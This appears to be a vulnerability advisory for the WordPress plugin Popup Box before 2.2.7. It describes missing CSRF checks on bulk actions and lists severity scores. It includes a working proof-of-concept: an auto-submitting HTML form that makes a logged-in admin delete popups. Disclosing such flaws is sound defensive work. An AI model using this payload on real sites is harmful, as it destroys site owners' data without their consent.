Popup Box < 2.2.7 - Popup Deletion via CSRF

2024-04-1100:00:00

Bob Matyas

popup

csrf

exploit

update

6.8 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting popups via CSRF attacks

Make a logged in admin open an HTML file where ID is a valid ID:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=popup-box" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```